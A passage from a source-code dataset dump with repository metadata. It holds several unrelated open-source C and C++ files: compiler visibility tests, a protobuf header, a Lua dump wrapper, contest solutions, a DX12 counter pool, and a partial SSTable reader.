== VISIBILITY_DEFAULT); test(decl_linkage(&d) == linkage_external); test(!decl_interposable(&d)); d.store = store_static; d_fn.store = store_static; { test(decl_visibility(&d) == VISIBILITY_DEFAULT); test(decl_linkage(&d) == linkage_internal); test(!decl_interposable(&d)); test(decl_visibility(&d_fn) == VISIBILITY_DEFAULT); test(decl_linkage(&d_fn) == linkage_internal); test(!decl_interposable(&d_fn)); } d.store = store_default; d_fn.store = store_default; cc1_visibility_default = VISIBILITY_PROTECTED; { test(decl_visibility(&d) == VISIBILITY_PROTECTED); test(decl_linkage(&d) == linkage_external); test(!decl_interposable(&d)); test(decl_visibility(&d_fn) == VISIBILITY_PROTECTED); test(!decl_interposable(&d_fn)); test(decl_visibility(&d_extern) == VISIBILITY_DEFAULT); test(!decl_interposable(&d_extern)); test(decl_visibility(&d_extern_fn) == VISIBILITY_DEFAULT); test(!decl_interposable(&d_extern_fn)); test(decl_visibility(&d_inline_fn) == VISIBILITY_PROTECTED); test(!decl_interposable(&d_inline_fn)); } cc1_visibility_default = VISIBILITY_DEFAULT; cc1_visibility_default = VISIBILITY_PROTECTED; cc1_fopt.pic = 1; { test(decl_visibility(&d) == VISIBILITY_PROTECTED); test(decl_linkage(&d) == linkage_external); test(!decl_interposable(&d)); test(decl_visibility(&d_fn) == VISIBILITY_PROTECTED); test(!decl_interposable(&d_fn)); test(decl_visibility(&d_extern) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern)); test(decl_visibility(&d_extern_fn) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern_fn)); test(decl_visibility(&d_inline_fn) == VISIBILITY_PROTECTED); test(!decl_interposable(&d_inline_fn)); } cc1_visibility_default = VISIBILITY_DEFAULT; cc1_fopt.pic = 0; cc1_fopt.pic = 1; { test(decl_visibility(&d) == VISIBILITY_DEFAULT); test(decl_linkage(&d) == linkage_external); test(decl_interposable(&d)); test(decl_visibility(&d_fn) == VISIBILITY_DEFAULT); test(decl_interposable(&d_fn)); test(decl_visibility(&d_extern) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern)); test(decl_visibility(&d_extern_fn) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern_fn)); test(decl_visibility(&d_inline_fn) == VISIBILITY_DEFAULT); test(decl_interposable(&d_inline_fn)); } cc1_fopt.pic = 0; cc1_visibility_default = VISIBILITY_HIDDEN; cc1_fopt.pic = 1; { test(decl_visibility(&d) == VISIBILITY_HIDDEN); test(decl_linkage(&d) == linkage_external); test(!decl_interposable(&d)); test(decl_visibility(&d_fn) == VISIBILITY_HIDDEN); test(!decl_interposable(&d_fn)); test(decl_visibility(&d_extern) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern)); test(decl_visibility(&d_extern_fn) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern_fn)); test(decl_visibility(&d_inline_fn) == VISIBILITY_HIDDEN); test(!decl_interposable(&d_inline_fn)); } cc1_fopt.pic = 0; cc1_visibility_default = VISIBILITY_DEFAULT; cc1_fopt.pie = 1; { test(decl_visibility(&d) == VISIBILITY_DEFAULT); test(decl_linkage(&d) == linkage_external); test(!decl_interposable(&d)); test(decl_visibility(&d_fn) == VISIBILITY_DEFAULT); test(!decl_interposable(&d_fn)); test(decl_visibility(&d_extern) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern)); test(decl_visibility(&d_extern_fn) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern_fn)); test(decl_visibility(&d_inline_fn) == VISIBILITY_DEFAULT); test(!decl_interposable(&d_inline_fn)); } cc1_fopt.pie = 0; cc1_fopt.pic = 1; cc1_fopt.semantic_interposition = 0; { test(decl_visibility(&d) == VISIBILITY_DEFAULT); test(decl_linkage(&d) == linkage_external); test(!decl_interposable(&d)); test(decl_visibility(&d_fn) == VISIBILITY_DEFAULT); test(!decl_interposable(&d_fn)); test(decl_visibility(&d_extern) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern)); test(decl_visibility(&d_extern_fn) == VISIBILITY_DEFAULT); test(decl_interposable(&d_extern_fn)); test(decl_visibility(&d_inline_fn) == VISIBILITY_DEFAULT); test(!decl_interposable(&d_inline_fn)); } cc1_fopt.pic = 0; cc1_fopt.semantic_interposition = 1; } static void test_decl_needs_GOTPLT(void) { sym s; struct type_nav *types = type_nav_init(); funcargs args = { 0 }; decl d_extern = { 0 }; decl d_normal = { 0 }; decl d_fn_undef = { 0 }; decl d_fn_defined = { 0 }; decl d_protected = { 0 }; decl d_fn_protected = { 0 }; decl d_fn_inline = { 0 }; decl d_fn_inline_extern = { 0 }; decl d_fn_inline_static = { 0 }; attribute attr_protected = { 0 }; attribute *attr[] = { &attr_protected, NULL }; /* * extern int d_extern; * int d_normal; * int fn_undef(void); * int fn_defined(void){} * int protected __attribute((visibility("protected"))); * int fn_protected() __attribute((visibility("protected"))); * inline int fn_inline(void){} * extern inline int fn_inline_extern(void){} * static inline int fn_inline_static(void){} */ attr_protected.type = attr_visibility; attr_protected.bits.visibility = VISIBILITY_PROTECTED; d_extern.sym = &s; d_normal.sym = &s; d_fn_undef.sym = &s; d_fn_defined.sym = &s; d_protected.sym = &s; d_fn_protected.sym = &s; d_fn_inline.sym = &s; d_fn_inline_extern.sym = &s; d_fn_inline_static.sym = &s; s.type = sym_global; d_extern.ref = type_nav_btype(types, type_int); d_normal.ref = type_nav_btype(types, type_int); d_fn_undef.ref = type_func_of(type_nav_btype(types, type_int), &args, NULL); d_fn_defined.ref = type_func_of(type_nav_btype(types, type_int), &args, NULL); d_protected.ref = type_nav_btype(types, type_int); d_fn_protected.ref = type_func_of(type_nav_btype(types, type_int), &args, NULL); d_fn_inline.ref = type_func_of(type_nav_btype(types, type_int), &args, NULL); d_fn_inline_extern.ref = type_func_of(type_nav_btype(types, type_int), &args, NULL); d_fn_inline_static.ref = type_func_of(type_nav_btype(types, type_int), &args, NULL); d_extern.store = store_extern; d_fn_defined.bits.func.code = (void *)1; d_fn_inline.bits.func.code = (void *)1; d_fn_inline.store = store_inline; d_fn_inline_extern.bits.func.code = (void *)1; d_fn_inline_extern.store = store_inline | store_extern; d_fn_inline_static.bits.func.code = (void *)1; d_fn_inline_static.store = store_inline | store_static; d_protected.attr = attr; d_fn_protected.attr = attr; cc1_fopt.pic = 0; cc1_fopt.pie = 0; { test(!decl_needs_GOTPLT(&d_extern)); test(!decl_needs_GOTPLT(&d_normal)); test(!decl_needs_GOTPLT(&d_fn_undef)); test(!decl_needs_GOTPLT(&d_fn_defined)); test(!decl_needs_GOTPLT(&d_protected)); test(!decl_needs_GOTPLT(&d_fn_protected)); test(!decl_needs_GOTPLT(&d_fn_inline)); test(!decl_needs_GOTPLT(&d_fn_inline_extern)); test(!decl_needs_GOTPLT(&d_fn_inline_static)); } cc1_fopt.pic = 1; { test(decl_needs_GOTPLT(&d_extern)); test(decl_needs_GOTPLT(&d_normal)); test(decl_needs_GOTPLT(&d_fn_undef)); test(decl_needs_GOTPLT(&d_fn_defined)); test(!decl_needs_GOTPLT(&d_protected)); test(!decl_needs_GOTPLT(&d_fn_protected)); test(decl_needs_GOTPLT(&d_fn_inline)); test(decl_needs_GOTPLT(&d_fn_inline_extern)); test(!decl_needs_GOTPLT(&d_fn_inline_static)); } cc1_fopt.pic = 0; cc1_fopt.pie = 1; { test(decl_needs_GOTPLT(&d_extern)); test(!decl_needs_GOTPLT(&d_normal)); test(decl_needs_GOTPLT(&d_fn_undef)); test(!decl_needs_GOTPLT(&d_fn_defined)); test(!decl_needs_GOTPLT(&d_protected)); test(!decl_needs_GOTPLT(&d_fn_protected)); // must use GOT to access, since it's inline and not emitted, // so could be in a different elf lib - even in -fpie test(decl_needs_GOTPLT(&d_fn_inline)); test(!decl_needs_GOTPLT(&d_fn_inline_extern)); test(!decl_needs_GOTPLT(&d_fn_inline_static)); } cc1_fopt.pie = 0; cc1_fopt.pic = 1; cc1_visibility_default = VISIBILITY_HIDDEN; { test(decl_needs_GOTPLT(&d_extern)); test(!decl_needs_GOTPLT(&d_normal)); test(decl_needs_GOTPLT(&d_fn_undef)); test(!decl_needs_GOTPLT(&d_fn_defined)); test(!decl_needs_GOTPLT(&d_protected)); test(!decl_needs_GOTPLT(&d_fn_protected)); test(!decl_needs_GOTPLT(&d_fn_inline)); /* attribute doesn't apply here - effectively just -fpic */ test(decl_needs_GOTPLT(&d_fn_inline_extern)); test(!decl_needs_GOTPLT(&d_fn_inline_static)); } cc1_fopt.pic = 0; cc1_visibility_default = VISIBILITY_DEFAULT; } static void test_warnings(void) { enum warning_fatality fatality; where w = { 0 }; w.fname = "dummy"; /* -Wxyz shouldn't be emitted for a sysheader */ cc1_warning.system_headers = 0; fatality = W_WARN; w.is_sysh = 1; test(cc1_warn_type(&w, (unsigned char *)&fatality) == -1); /* -Werror=xyz shouldn't be emitted for a sysheader */ cc1_warning.system_headers = 0; fatality = W_ERROR; w.is_sysh = 1; test(cc1_warn_type(&w, (unsigned char *)&fatality) == -1); /* -Wxyz -Wsystem-headers should be emitted for a sysheader */ cc1_warning.system_headers = 1; fatality = W_WARN; w.is_sysh = 1; test(cc1_warn_type(&w, (unsigned char *)&fatality) == VWARN_WARN); /* -Werror=xyz -Wsystem-headers should be emitted for a sysheader */ cc1_warning.system_headers = 1; fatality = W_ERROR; w.is_sysh = 1; test(cc1_warn_type(&w, (unsigned char *)&fatality) == VWARN_ERR); } int main(void) { cc1_type_nav = type_nav_init(); test_quals(); test_decl_interposability(); test_decl_needs_GOTPLT(); test_warnings(); /* builtin tests */ test_out_out(); return ec; }
27.802784
85
0.72945
aded8d490a2f85558a228bc3b48ada51d84aa01e
4,111
h
C
protobuf/python/google/protobuf/pyext/scalar_map_container.h
cooparation/caffe-android
cd91078d1f298c74fca4c242531989d64a32ba03
[ "BSD-2-Clause-FreeBSD" ]
2
2017-09-16T13:59:15.000Z
2019-04-24T03:25:36.000Z
protobuf/python/google/protobuf/pyext/scalar_map_container.h
cooparation/caffe-android
cd91078d1f298c74fca4c242531989d64a32ba03
[ "BSD-2-Clause-FreeBSD" ]
2
2018-04-25T03:57:31.000Z
2020-07-01T13:21:46.000Z
protobuf/python/google/protobuf/pyext/scalar_map_container.h
cooparation/caffe-android
cd91078d1f298c74fca4c242531989d64a32ba03
[ "BSD-2-Clause-FreeBSD" ]
5
2017-11-24T15:43:59.000Z
2018-10-09T08:07:19.000Z
// Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. All rights reserved. // https://developers.google.com/protocol-buffers/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #ifndef GOOGLE_PROTOBUF_PYTHON_CPP_SCALAR_MAP_CONTAINER_H__ #define GOOGLE_PROTOBUF_PYTHON_CPP_SCALAR_MAP_CONTAINER_H__ #include <Python.h> #include <memory> #ifndef _SHARED_PTR_H #include <google/protobuf/stubs/shared_ptr.h> #endif #include <google/protobuf/descriptor.h> namespace google { namespace protobuf { class Message; using internal::shared_ptr; namespace python { struct CMessage; struct ScalarMapContainer { PyObject_HEAD; // This is the top-level C++ Message object that owns the whole // proto tree. Every Python ScalarMapContainer holds a // reference to it in order to keep it alive as long as there's a // Python object that references any part of the tree. shared_ptr<Message> owner; // Pointer to the C++ Message that contains this container. The // ScalarMapContainer does not own this pointer. Message* message; // Weak reference to a parent CMessage object (i.e. may be NULL.) // // Used to make sure all ancestors are also mutable when first // modifying the container. CMessage* parent; // Pointer to the parent's descriptor that describes this // field. Used together with the parent's message when making a // default message instance mutable. // The pointer is owned by the global DescriptorPool. const FieldDescriptor* parent_field_descriptor; const FieldDescriptor* key_field_descriptor; const FieldDescriptor* value_field_descriptor; // We bump this whenever we perform a mutation, to invalidate existing // iterators. uint64 version; }; #if PY_MAJOR_VERSION >= 3 extern PyObject *ScalarMapContainer_Type; extern PyType_Spec ScalarMapContainer_Type_spec; #else extern PyTypeObject ScalarMapContainer_Type; #endif extern PyTypeObject ScalarMapIterator_Type; namespace scalar_map_container { // Builds a ScalarMapContainer object, from a parent message and a // field descriptor. extern PyObject *NewContainer( CMessage* parent, const FieldDescriptor* parent_field_descriptor); // Releases the messages in the container to a new message. // // Returns 0 on success, -1 on failure. int Release(ScalarMapContainer* self); // Set the owner field of self and any children of self. void SetOwner(ScalarMapContainer* self, const shared_ptr<Message>& new_owner); } // namespace scalar_map_container } // namespace python } // namespace protobuf } // namespace google #endif // GOOGLE_PROTOBUF_PYTHON_CPP_SCALAR_MAP_CONTAINER_H__
35.439655
73
0.769642
51c41646e7e934234099a081af6b66450cf5e109
1,316
c
C
LuaFortran/wrap_lua_dump.c
zerothi/aotus
47f215d33182b2990c632c227af487e7e73f09d0
[ "MIT" ]
1
2016-11-27T22:59:04.000Z
2016-11-27T22:59:04.000Z
LuaFortran/wrap_lua_dump.c
zerothi/aotus
47f215d33182b2990c632c227af487e7e73f09d0
[ "MIT" ]
null
null
null
LuaFortran/wrap_lua_dump.c
zerothi/aotus
47f215d33182b2990c632c227af487e7e73f09d0
[ "MIT" ]
null
null
null
#include <stdlib.h> #include "lua.h" typedef struct { int length; int space; char *container; } charbuf; // Writer to use during lua_dump. static int buf_writer(lua_State *L, const void* p, size_t sz, void* ud) { charbuf *dat; const char *buf; int i; dat = ud; buf = p; if ( sz + dat->length > dat->space ) { // Increase the size of the buffer, if needed. dat->space = ((dat->space*2) > (sz + dat->length)) ? (dat->space*2) : (sz + dat->length); dat->container = realloc(dat->container, dat->space); if (!dat->container) return -10; } // Append the data to write into the buffer. for (i=0; i<sz; i++) { dat->container[dat->length + i] = buf[i]; } dat->length = dat->length + sz; return 0; } // Wrapper around lua_dump to write into a memory buffer. // Return Fortran friendly arguments. const char* dump_lua_toBuf(lua_State *L, int *length, int *ierr) { charbuf dat; char *buf; int i; int errcode; size_t sz; dat.length = 0; dat.space = 1024; dat.container = malloc(dat.space); errcode = lua_dump(L, buf_writer, &dat, 0); (*ierr) = errcode; (*length) = dat.length; sz = dat.length; buf = malloc(dat.length); for (i=0; i<dat.length; i++) { buf[i] = dat.container[i]; } free(dat.container); return buf; }
20.5625
71
0.608663
5d418af069c1a676378bba73f8a963fc830689ec
1,532
c
C
AC/UVA-512.c
chenhw26/OnlineJudgeByChw
112560816a34062ddaf502d81f25dbb9a2ccd7d5
[ "MIT" ]
null
null
null
AC/UVA-512.c
chenhw26/OnlineJudgeByChw
112560816a34062ddaf502d81f25dbb9a2ccd7d5
[ "MIT" ]
null
null
null
AC/UVA-512.c
chenhw26/OnlineJudgeByChw
112560816a34062ddaf502d81f25dbb9a2ccd7d5
[ "MIT" ]
null
null
null
#include <stdio.h> struct command{ char type[3]; int r1,r2,c1,c2; int A,xi[11]; } cmd[100]; int row,column,n,k=0; int move(int* r0,int* c0){ int i; for(i=0;i<n;++i){ if(cmd[i].type[0]=='E'){ if(*r0==cmd[i].r1&&*c0==cmd[i].c1) {*r0=cmd[i].r2; *c0=cmd[i].c2;} else if(*r0==cmd[i].r2&&*c0==cmd[i].c2) {*r0=cmd[i].r1; *c0=cmd[i].c1;} } else{ int mr=0,mc=0; if(cmd[i].type[0]=='I'){ int j; for(j=0;j<cmd[i].A;++j){ if(cmd[i].type[1]=='R'&&cmd[i].xi[j]<=*r0) ++mr; else if(cmd[i].type[1]=='C'&&cmd[i].xi[j]<=*c0) ++mc; } } else{ int j; for(j=0;j<cmd[i].A;++j){ if(cmd[i].type[1]=='R'&&cmd[i].xi[j]==*r0) return 0; else if(cmd[i].type[1]=='C'&&cmd[i].xi[j]==*c0) return 0; else if(cmd[i].type[1]=='R'&&cmd[i].xi[j]<*r0) --mr; else if(cmd[i].type[1]=='C'&&cmd[i].xi[j]<*c0) --mc; } } *r0+=mr; *c0+=mc; } } return 1; } int main(){ while(scanf("%d%d",&row,&column),row){ scanf("%d",&n); int i; for(i=0;i<n;++i){ scanf("%s",cmd[i].type); if(cmd[i].type[0]=='E') scanf("%d%d%d%d",&cmd[i].r1,&cmd[i].c1,&cmd[i].r2,&cmd[i].c2); else{ scanf("%d",&cmd[i].A); int j; for(j=0;j<cmd[i].A;++j) scanf("%d",&cmd[i].xi[j]); } } int query,c0,r0; scanf("%d",&query); if(k) putchar('\n'); printf("Spreadsheet #%d\n",++k); while(query--){ scanf("%d%d",&r0,&c0); printf("Cell data in (%d,%d) ",r0,c0); if(move(&r0,&c0)) printf("moved to (%d,%d)\n",r0,c0); else puts("GONE"); } } return 0; }
22.865672
74
0.474543
71468e17149aba10715e525b007e8b79c4a09504
947
h
C
Source/modules/render/dx12/Dx12CounterPool.h
kecho/coal
fac994f43f588e2c65514be348fdac4efc6a6ea9
[ "MIT" ]
24
2021-08-14T13:19:51.000Z
2021-12-14T15:31:22.000Z
Source/modules/render/dx12/Dx12CounterPool.h
kecho/coal
fac994f43f588e2c65514be348fdac4efc6a6ea9
[ "MIT" ]
1
2021-11-01T19:20:05.000Z
2021-11-03T01:25:00.000Z
Source/modules/render/dx12/Dx12CounterPool.h
kecho/coal
fac994f43f588e2c65514be348fdac4efc6a6ea9
[ "MIT" ]
2
2021-08-24T21:50:15.000Z
2021-09-08T14:12:50.000Z
#pragma once #include <coalpy.core/GenericHandle.h> #include <coalpy.core/SmartPtr.h> #include <coalpy.core/HandleContainer.h> #include <d3d12.h> namespace coalpy { namespace render { class Dx12Device; struct Dx12CounterHandle : public GenericHandle<int> {}; class Dx12CounterPool { public: enum { MaxCounters = 64 }; Dx12CounterPool(Dx12Device& device); ~Dx12CounterPool() {} ID3D12Resource& resource() { return *m_resource; } Dx12CounterHandle allocate(); void free(Dx12CounterHandle); int counterOffset(Dx12CounterHandle handle) const; D3D12_UNORDERED_ACCESS_VIEW_DESC uavDesc(Dx12CounterHandle handle) const; private: struct CounterSlot { int offset = 0; }; Dx12Device& m_device; HandleContainer<Dx12CounterHandle, CounterSlot, (int)MaxCounters> m_counters; SmartPtr<ID3D12Resource> m_resource; D3D12_UNORDERED_ACCESS_VIEW_DESC m_uavDesc; }; } }
18.94
81
0.721225
869ad2ed3b1e78c12202df816cc9e860da917e38
293
h
C
exercises/3/week6/include/SmartPointer.h
triffon/oop-2019-20
db199631d59ddefdcc0c8eb3d689de0095618f92
[ "MIT" ]
19
2020-02-21T16:46:50.000Z
2022-01-26T19:59:49.000Z
exercises/3/week13/include/SmartPointer.h
triffon/oop-2019-20
db199631d59ddefdcc0c8eb3d689de0095618f92
[ "MIT" ]
1
2020-03-14T08:09:45.000Z
2020-03-14T08:09:45.000Z
exercises/3/week5/include/SmartPointer.h
triffon/oop-2019-20
db199631d59ddefdcc0c8eb3d689de0095618f92
[ "MIT" ]
11
2020-02-23T12:29:58.000Z
2021-04-11T08:30:12.000Z
#ifndef SMARTPOINTER_H #define SMARTPOINTER_H class SmartPointer { int *ptr; // Actual pointer public: SmartPointer(int *p = nullptr); // Destructor ~SmartPointer(); // Overloading dereferencing operator int& operator*(); }; #endif // SMARTPOINTER_H
15.421053
41
0.645051
ab2b10dce238c9a4d8f490d00fd3aa1b59ca41bb
684
h
C
modules/watchdog/src/_watchdog_macros.h
allentree/LoRaGW-SDK
1675801538407753768e91774d857f2d7aa2ba7c
[ "Apache-2.0" ]
null
null
null
modules/watchdog/src/_watchdog_macros.h
allentree/LoRaGW-SDK
1675801538407753768e91774d857f2d7aa2ba7c
[ "Apache-2.0" ]
null
null
null
modules/watchdog/src/_watchdog_macros.h
allentree/LoRaGW-SDK
1675801538407753768e91774d857f2d7aa2ba7c
[ "Apache-2.0" ]
1
2020-07-09T06:42:54.000Z
2020-07-09T06:42:54.000Z
/* * _watchdog_macros.h * * Created on: 2017年11月11日 * Author: Zhongyang */ #ifndef MODULES_WATCHDOG__WATCHDOG_MACROS_H_ #define MODULES_WATCHDOG__WATCHDOG_MACROS_H_ typedef enum WATCHDOG_ERROR_TAG { WATCHDOG_ERROR_SUCEESS = 0, WATCHDOG_ERROR_INVALID_PARAM = -1, WATCHDOG_ERROR_NO_MEM = -2, WATCHDOG_ERROR_UNKNOWN = -3, WATCHDOG_ERROR_IO = -4, WATCHDOG_ERROR_INVALID_DATA = -5, WATCHDOG_ERROR_TIME_OUT = -6, } WATCHDOG_ERROR; #define SIGNAL_REQUIRE_EXIT_VALID 0x5aa5 #define WATCHDOG_SCRIPT_DIR "/script/" #define WATCHDOG_SCRIPT_RESTART_GATEWAY "_wd_restart_gateway.sh" #endif /* MODULES_WATCHDOG__WATCHDOG_MACROS_H_ */
25.333333
68
0.75
79c17c14c83bff77e870e75fa57a2e61dc64c02a
716
h
C
SpaceQixBox2d/QXWalker.h
csci-526-soap/QixTeam
7dcab018a39330447c632a588db5c60d609a1279
[ "MIT" ]
1
2019-01-27T01:01:53.000Z
2019-01-27T01:01:53.000Z
SpaceQixBox2d/QXWalker.h
csci-526-soap/QixTeam
7dcab018a39330447c632a588db5c60d609a1279
[ "MIT" ]
null
null
null
SpaceQixBox2d/QXWalker.h
csci-526-soap/QixTeam
7dcab018a39330447c632a588db5c60d609a1279
[ "MIT" ]
null
null
null
// // QXSimpleMonster.h // SpaceQixBox2d // // Created by Haoyu Huang on 3/7/14. // Copyright (c) 2014 HaoyuHuang. All rights reserved. // #import <Foundation/Foundation.h> #import "cocos2d.h" #import "Box2D.h" #import "QXMonster.h" #import "GB2ShapeCache.h" #import "QXWalkerAttribute.h" #define BODY_WALKER_NW @"bodyWalkerNW" #define BODY_WALKER_NS @"bodyWalkerNS" @interface QXWalker : QXMonster { QXWalkerAttribute *attribute; float initRotation; } - (void) setup:(CCSprite *)sprite Layer:(CCLayer *)layer runDirection:(int) dir runClockwise:(bool)clockwise position:(CGPoint) position userData:(void *) data physicalWorld:(b2World *)world; - (CGPoint) currentPosition; - (float) speed; @end
22.375
191
0.730447
61c74f5a1a21e7ac6eaf2166befa29527d04c190
1,031
h
C
ios/chrome/browser/ui/infobars/modals/infobar_translate_language_selection_delegate.h
zealoussnow/chromium
fd8a8914ca0183f0add65ae55f04e287543c7d4a
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
14,668
2015-01-01T01:57:10.000Z
2022-03-31T23:33:32.000Z
ios/chrome/browser/ui/infobars/modals/infobar_translate_language_selection_delegate.h
zealoussnow/chromium
fd8a8914ca0183f0add65ae55f04e287543c7d4a
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
113
2015-05-04T09:58:14.000Z
2022-01-31T19:35:03.000Z
ios/chrome/browser/ui/infobars/modals/infobar_translate_language_selection_delegate.h
zealoussnow/chromium
fd8a8914ca0183f0add65ae55f04e287543c7d4a
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
5,941
2015-01-02T11:32:21.000Z
2022-03-31T16:35:46.000Z
// Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef IOS_CHROME_BROWSER_UI_INFOBARS_MODALS_INFOBAR_TRANSLATE_LANGUAGE_SELECTION_DELEGATE_H_ #define IOS_CHROME_BROWSER_UI_INFOBARS_MODALS_INFOBAR_TRANSLATE_LANGUAGE_SELECTION_DELEGATE_H_ // Delegate to handle Translate Infobar Language Selection changes. @protocol InfobarTranslateLanguageSelectionDelegate // Indicates the user chose to change the source language to one named // |language| at |languageIndex|. - (void)didSelectSourceLanguageIndex:(int)languageIndex withName:(NSString*)languageName; // Indicates the user chose to change the source language to one named // |language| at |languageIndex|. - (void)didSelectTargetLanguageIndex:(int)languageIndex withName:(NSString*)languageName; @end #endif // IOS_CHROME_BROWSER_UI_INFOBARS_MODALS_INFOBAR_TRANSLATE_LANGUAGE_SELECTION_DELEGATE_H_
42.958333
97
0.793404
19f761b3693ff7979106ed7f2db302b4e5999017
598
c
C
010#regular-expression-matching/solution.c
llwwns/leetcode_solutions
e352c9bf6399ab3ee0f23889e70361c9f2a3bd33
[ "MIT" ]
null
null
null
010#regular-expression-matching/solution.c
llwwns/leetcode_solutions
e352c9bf6399ab3ee0f23889e70361c9f2a3bd33
[ "MIT" ]
null
null
null
010#regular-expression-matching/solution.c
llwwns/leetcode_solutions
e352c9bf6399ab3ee0f23889e70361c9f2a3bd33
[ "MIT" ]
null
null
null
bool isMatch(char* s, char* p) { while (*s != 0 && *p != 0 && *(p+1) != '*') { if (*p != '.' && *s != *p) { return false; } s++; p++; } if (*s == 0 && *p == 0) return true; if (*p == 0) return false; if (*s == 0 && *(p+1) != '*') return false; if (isMatch(s, p + 2)) { return true; } while(*s != 0) { if (*p != '.' && *s != *p) { return false; } if (isMatch(s + 1, p + 2)) { return true; } s++; } return false; }
23
50
0.297659
39b474581d1a6b99254f8921e93123a9bded2731
8,128
c
C
src/sstable.c
adambcomer/WiscKey
f3953351c0aaf27856a84ba68f83ddf46d6a8ad7
[ "Apache-2.0" ]
null
null
null
src/sstable.c
adambcomer/WiscKey
f3953351c0aaf27856a84ba68f83ddf46d6a8ad7
[ "Apache-2.0" ]
null
null
null
src/sstable.c
adambcomer/WiscKey
f3953351c0aaf27856a84ba68f83ddf46d6a8ad7
[ "Apache-2.0" ]
null
null
null
/* * Copyright 2022 Adam Bishop Comer * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <stdlib.h> #include <string.h> #include <stdint.h> #include "include/sstable.h" int SSTableRecord_read(struct SSTable *table, struct SSTableRecord *record, uint64_t offset) { int seek_res = fseeko(table->file, (long long) offset, SEEK_SET); if (seek_res == -1) { perror("fseeko"); return -1; } uint64_t key_len; size_t file_res = fread(&key_len, sizeof(uint64_t), 1, table->file); if (file_res != 1) { perror("fread"); return -1; } int64_t val_loc; file_res = fread(&val_loc, sizeof(int64_t), 1, table->file); if (file_res != 1) { perror("fread"); return -1; } char *table_key = malloc(key_len); file_res = fread(table_key, sizeof(char), key_len, table->file); if (file_res != key_len) { perror("fread"); return -1; } record->key_len = key_len; record->value_loc = val_loc; record->key = table_key; return 0; } void SSTable_append_offset(struct SSTable *table, uint64_t offset) { if (table->size < table->capacity) { table->records[table->size] = offset; table->size += 1; return; } // Grow the array uint64_t *new_records = malloc(table->capacity * 2 * sizeof(uint64_t)); memcpy(new_records, table->records, table->capacity * sizeof(uint64_t)); free(table->records); table->records = new_records; table->capacity = table->capacity * 2; // Add the new offset to the array table->records[table->size] = offset; table->size += 1; } struct SSTable *SSTable_new(char *path) { FILE *file = fopen(path, "r"); if (file == NULL) { perror("fopen"); return NULL; } struct SSTable *table = malloc(sizeof(struct SSTable)); table->path = path; table->file = file; table->records = malloc(SSTABLE_MIN_SIZE * sizeof(uint64_t)); table->capacity = SSTABLE_MIN_SIZE; table->size = 0; uint64_t curr_offset = 0; while (1) { int peek = fgetc(table->file); ungetc(peek, table->file); if (peek == EOF) { break; } uint64_t key_len; size_t file_res = fread(&key_len, sizeof(uint64_t), 1, table->file); if (file_res != 1) { perror("fread"); return NULL; } uint64_t next = key_len + sizeof(int64_t); file_res = fseeko(table->file, (long long) next, SEEK_CUR); if (file_res != 0) { perror("fread"); return NULL; } SSTable_append_offset(table, curr_offset); curr_offset += next + sizeof(uint64_t); } int seek_res = fseeko(table->file, (long long) table->records[0], SEEK_SET); if (seek_res == -1) { perror("fseeko"); return NULL; } uint64_t low_key_len; size_t file_res = fread(&low_key_len, sizeof(uint64_t), 1, table->file); if (file_res != 1) { perror("fread"); return NULL; } uint64_t val_loc; file_res = fread(&val_loc, sizeof(int64_t), 1, table->file); if (file_res != 1) { perror("fread"); return NULL; } char *low_key = malloc(low_key_len); file_res = fread(low_key, sizeof(char), low_key_len, table->file); if (file_res != low_key_len) { perror("fread"); return NULL; } table->low_key = low_key; table->low_key_len = low_key_len; seek_res = fseeko(table->file, (long long) table->records[table->size - 1], SEEK_SET); if (seek_res == -1) { perror("fseeko"); return NULL; } uint64_t high_key_len; file_res = fread(&high_key_len, sizeof(uint64_t), 1, table->file); if (file_res != 1) { perror("fread"); return NULL; } file_res = fread(&val_loc, sizeof(int64_t), 1, table->file); if (file_res != 1) { perror("fread"); return NULL; } char *high_key = malloc(high_key_len); file_res = fread(high_key, sizeof(char), high_key_len, table->file); if (file_res != high_key_len) { perror("fread"); 